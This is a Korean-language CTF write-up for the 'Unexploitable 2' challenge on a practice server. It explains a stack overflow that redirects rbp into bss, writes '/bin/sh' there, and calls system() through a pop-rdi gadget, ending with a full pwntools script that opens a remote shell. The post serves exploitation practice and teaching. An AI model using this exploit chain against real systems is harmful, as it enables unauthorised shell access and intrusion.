1번과 마찬가지로 취약점은 그냥 준다.
system() 함수의 plt도 그냥 준다.
1번과 다른 점은... "sh\x00"의 고정 주소가 없다는 점이다.
고정주소에 "/bin/sh\x00"를 올리고 이를 system() 함수의 매개변수로 주면 된다.
시나리오는 다음과 같다.
1. 오버플로우 시킬 때 rbp를 bss로 넣어주고, 취약한 함수를 다시 부른다.
2. 이때 인풋을 bss에 받기 때문에 "/bin/sh\x00"를 올리고 바로 system() 함수를 부른다.
rbp를 bss로 덮는 이유는, 두 번째 fgets() 함수 호출시 입력을 bss에 넣기 위함이다.
fgets() 함수가 입력 받을 때 입력 버퍼 주소를 다음과 같이 rbp를 기준으로 잡는다.
첫 번째 오버플로우시 rbp를 bss+0x10으로 잡아주면, 두 번째 입력은 고스란히 bss에 들어갈 것이다.
from pwn import * #p = process('./Unexploitable_2') p = remote('ctf.j0n9hyun.xyz', 3029) e = ELF('./Unexploitable_2') bss = e.bss() + 0x800 print 'bss :', hex(bss) p.recvuntil('dynstr!\n') payload = "A"*0x10 payload += p64(bss + 0x10) # fake rbp == bss + 0x10 payload += p64(0x4006EE) # fgets again (on bss) p.sendline(payload) sleep(0.3) payload2 = "/bin/sh\x00" # on bss payload2 += "B"*(0x18-len(payload2)) payload2 += p64(0x0000000000400773) # pop rdi ret payload2 += p64(bss+5) payload2 += p64(e.plt['system']) p.sendline(payload2) p.interactive()
'write-up > ctf.j0n9hyun.xyz' 카테고리의 다른 글
[j0n9hyun] Unexploitable 1 (0) | 2019.07.23 |
---|